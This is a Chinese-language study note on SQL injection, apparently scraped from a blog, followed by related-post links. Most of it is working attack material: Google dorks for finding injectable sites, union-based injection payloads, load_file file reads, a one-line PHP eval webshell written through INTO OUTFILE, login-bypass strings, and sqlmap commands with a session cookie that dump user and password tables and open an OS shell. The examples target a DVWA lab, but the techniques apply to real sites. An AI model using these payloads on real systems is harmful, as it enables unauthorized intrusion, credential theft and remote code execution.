sql注入知识点
需找sql注入点
1\无特定目标
inurl:.php?id=
2\有特定目标:
inurl:.php?id= site:target.com
3\工具爬取
spider,对搜索引擎和目标网站的链接进行爬取
手工简单识别:
and 1=1 / and 1=2
and '1'='1 / and '1' = '2
and 1 like 1 / and 1 like 2
工具识别:
sqlmap -m filename (filename中保存检测目标)
sqlmap --crawl(sqlmap对目标网站进行爬取,然后依次进行测试)
一、环境搭建
1、安装wamp
2、安装sqli-labs
3、配置数据库信息
编辑:db-creds.inc
方法二
使用docker部署
docker search sqli-labs 查找sqli-labs
docker pull acgpiano/sqli-labs 拉取sqli-labs
docker images 查看本地已有的镜像
docker run -dt --name sqli -p 80:80 --rm acgpiano/sqli-labs 运行sqli
-dt 后台运行
--name 将命名为sqli
-p 将后台的80映射为本地的80
--rm 在关闭dock后自动删除相应文件,以释放资源
SQL语言
SQL 全称 结构化查询语言 StructuredQueryLanguage,最早是IBM开发的查询语言
sql语句
select version;
select id from jobs where id=1;
select id from jobs where id=1 union select version();
select id,location from jobs where id=1 union select 1,version(); union拼接的前后两条语句的字段需要一致,否则报错,前面是2个字段,所以后面也要为两个字段,所以加了1
代码
$id=$_GET['id'];
$sql="SELECT*FROM users WHERE id='$id' limit 0,1";
limit 0,1 是从第0条返回1条记录
注入
http://test.com/index.php?id=1‘ UNION SELCET 1,version()#
’单引号闭合掉参数
#号代表注释掉后面的内容
%23是一种编码代表了#
Mysql函数
https://dev.mysql.com/doc/refman/5.7/en/dynindex-function.html
SQLmap使用
1、针对url
使用python sqlmap -u “url”
2、针对post表单
1)使用python sqlmap -r “文件名” (将post请求保存成文件.txt)
2) 使用python sqlmap -u “url” --data=“post参数”
mysql三种闭合方式
无闭合符号
‘
“
1 or 1=1
1’ or ‘1=1
1” or “1=1
注释符号闭合
#
--空格
//
使用order by确定字段数
利用二分法确定有多少个字段,当不报错说明存在几个字段
1' order by 5 --空格
1' order by 3 --空格
在确定了有多少字段后,再进一步确定版本信息、目录信息等
可以使用union
例如,存在2个字段columns
1' union select @@version,@@datadir--空格
当少一个columns时会报错,“The used SELECT statements have a different number of columns”
mysql中常用的函数
@@version 显示版本
@@datadir 显示当前目录
user() 查询用户名
database() 查询数据库名
information_schema.tables 查询数据库中的表名
e.g.
id=1' union select 1,table_name from information_schema.tables where table_schema='dvwa'--
dvwa.users 查询列名
e.g.
id=1' union select 1,column_name from information_schema.columns where table_name='users' --
查询用户名和密码
id=1' union select user,password from users --
PHP中文件读取函数
load_file()
id=1' union select 1,load_file(c:\windows\win.ini')--
利用sql注入写入webshell
写入步骤
1 获取物理路径
通过数据库异常报错获取物理路径
2 上传写入webshell
一句话
<?php
@eval($_GET['cmd']);
into outfile 写入文件
提示报错:配置设置无法写入:The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
e.g.
http://10.211.55.7/dvwa/vulnerabilities/sqli/
?id=1' union select "<?php @eval($_GET['cmd']);?>","webshell" into outfile 'C:\phpStudy\PHPTutorial\WWW\DVWA\cmd.php' --
&Submit=Submit#
代码执行
http://ip/dvwa/cmd.PHP?cmd=system(dir);
利用SQLmap自动化
sqlmap.py -u "http://10.211.55.7/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id"
url中包含了id和submit,-p 指定对id进行***
--cookie 在登录状态下进行sql注入
sqlmap.py -u "http://10.211.55.7/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id" --cookie "security=low; PHPSESSID=0lu80kdec8g18ai2pkldnfsib4"
--current-user 获取当前用户
--current-db 获取当前db
sqlmap.py -u "http://10.211.55.7/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id" --cookie "security=low; PHPSESSID=0lu80kdec8g18ai2pkldnfsib4" --current-user --current-db
--tables 查询表
-D +数据库 在该数据库中查询表
sqlmap.py -u "http://10.211.55.7/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id" --cookie "security=low; PHPSESSID=0lu80kdec8g18ai2pkldnfsib4" --current-user -D dvwa --tables
-T +表 查询该表下
--columns 查询字段名
sqlmap.py -u "http://10.211.55.7/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id" --cookie "security=low; PHPSESSID=0lu80kdec8g18ai2pkldnfsib4" --current-user -D dvwa -T users --columns
查询用户名和mim
--dump 查询用户名密码
-C "user,password" 查询columns中的值
sqlmap.py -u "http://10.211.55.7/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#"
-p "id" --cookie "security=low; PHPSESSID=0lu80kdec8g18ai2pkldnfsib4"
--current-user -D dvwa -T users -C "user,password" --dump
利用sqlmap上传shell
--OS-shell
sqlmap.py -u "http://10.211.55.7/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#"
-p "id" --cookie "security=low; PHPSESSID=0lu80kdec8g18ai2pkldnfsib4"
--current-user -D dvwa -T users -C "user,password" --os-shell
万能密码
‘ --
中间有空格
where username='admin' and password='admin'
sql语句变了
where username='admin' --' and password = ''
如果表中有admin的用户名则有返回数据
寻找SQL注入点
无特定目标
inurl:.php?id=
有特定目标:
inurl:.php?id= site:target.com
工具爬取
spider,对搜索引擎和目标网站的链接进行爬取
注入识别
手工简单识别
'
and 1=1 / and 1=2
and '1'='1 / and '1'='2
and 1 like 1 / and 1 like 2
工具识别:
sqlmap -m fliename (fliename 中保存检测目标)
sqlmap --crawl (sqlmap对目标网站进行爬取,然后依次进行测试)
高级识别:
扩展识别广度和深度:
sqlmap --level 增加测试级别,对header中相关参数也进行测试
sqlmap -r filename (filename中为网站请求数据)
利用工具提高识别效率:
Burpsuite + Sqlamp
burpsuite拦截所有浏览器访问提交的数据
burpsuite扩展插件,直接调用sqlmap进行测试
一些tip
可以在参数后键入 “*” 来确定想要测试的参数
可能出现注入的点:新闻、登录、搜索、留言。。。
使用limit group等
group_concat() 连接查询的结果
sql注入知识点的更多相关文章
- sql注入知识点整理(基础版)
sql注入知识点整理(基础版) 基本步骤 判断是否报错 判断闭合符号 判断注入类型 构建payload 手工注入或者编写脚本 基本注入类型 报错型注入 floor公式(结果多出一个1):and (se ...
- CTF SQL注入知识点
理解常用的登录判断 select * from user where username='admin' and password='123' 数据库元信息 infomation_schema 懂PHP ...
- Sql注入测试--Sqlmap
慕课网sqlmap学习笔记: 一.SQL注入 所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令. 例如 (1)在url上 ...
- 基础Web漏洞-SQL注入入门(手工注入篇)
一.什么是SQL注入 SQL是操作数据库数据的结构化查询语言,网页的应用数据和后台数据库中的数据进行交互时会采用SQL.而SQL注入是将Web页面的原URL.表单域或数据包输入的参数,修改拼接成SQ ...
- sql注入原理+mysql相关知识点
什么是SQL注入 sql就是经常说的数据库,而sql注入就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.SQL注入是比较常见的网络攻击 ...
- SQL注入基本知识点总结
SQL注入基本知识 information_schema MySQL 中存储所有数据库名.所有表名.所有字段名的系统数据库叫 information_schema ,这是在 MySQL 数据库初 ...
- 关于防止sql注入的几个知识点
1.PDO预处理是首选. 你可以把他看成是要运行的sql的已经编译过的模板,它可以用变量参数进行定制 它有两个显著优点: 1.1:查询仅需解析一次,但可以用相同或者不同参数执行多次.换句话说如果要以不 ...
- 有关SQL注入的一些小知识点
1.判断注入点: 本质原理是找一个需要后台处理后,提交给数据库的点,我理解为用户可以控制并输入后台数据库的变量,比如我们DVWA SQL injection 的ID ,我们可以通过闭合单引号,#注释 ...
- C# sql语句拼接时 like情况的防sql注入的用法
今天下午同事问我一个比较基础的问题,在拼接sql语句的时候,如果遇到Like的情况该怎么办. 我原来的写法就是简单的拼接字符串,后来同事问我如果遇到sql注入怎么办.我想了下,这确实是个问题. 刚在网 ...
随机推荐
- CF798D Mike and distribution
CF798D Mike and distribution 洛谷评测传送门 题目描述 Mike has always been thinking about the harshness of socia ...
- JDOJ3011 铺地板III
JDOJ3011 铺地板III https://neooj.com/oldoj/problem.php?id=3011 题目描述 有3 x N (0 <= N <= 105)的网格,需要用 ...
- 2019 SDN上机第三次作业
2019 SDN上机第三次作业 实验一 利用Mininet仿真平台构建如下图所示的网络拓扑,配置主机h1和h2的IP地址(h1:10.0.0.1,h2:10.0.0.2),测试两台主机之间的网络连通性 ...
- C#中List<T>转DataTable
通过查询出来的类的集合的属性集合生成数据行,并通过属性获取每一个实体的指定属性的指定值
- 怎样把ndarray转换为PyQt中的QPixmap
找不到文档,只在网上找到一些语焉不详,执行错误的代码,鼓捣了一个晚上,研(luan)究(gao)成功 def img2pixmap(self, image): Y, X = image.shape[: ...
- 【CometOJ】Comet OJ - Contest #8 解题报告
点此进入比赛 \(A\):杀手皇后(点此看题面) 大致题意: 求字典序最小的字符串. 一场比赛总有送分题... #include<bits/stdc++.h> #define Tp tem ...
- java - mybatis:java.lang.IllegalArgumentException: Mapped Statements collection does not contain value for
当遇见java.lang.IllegalArgumentException: Mapped Statements collection does not contain value for 错误的时候 ...
- .NET使用Bogus生成大量随机数据(转载)
原文地址:https://www.cnblogs.com/sdflysha/p/20190821-generate-lorem-data.html 在演示Demo.数据库脱敏.性能测试中,有时需要生成 ...
- 大话设计模式Python实现-适配器模式
适配器模式(Adapter Pattern):将一个类的接口转换成为客户希望的另外一个接口. 下面是一个适配器模式的demo: #!/usr/bin/env python # -*- coding:u ...
- centos7 更换为aliyun的yum源
rm -f /etc/yum.repos.d/* wget -O /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Ce ...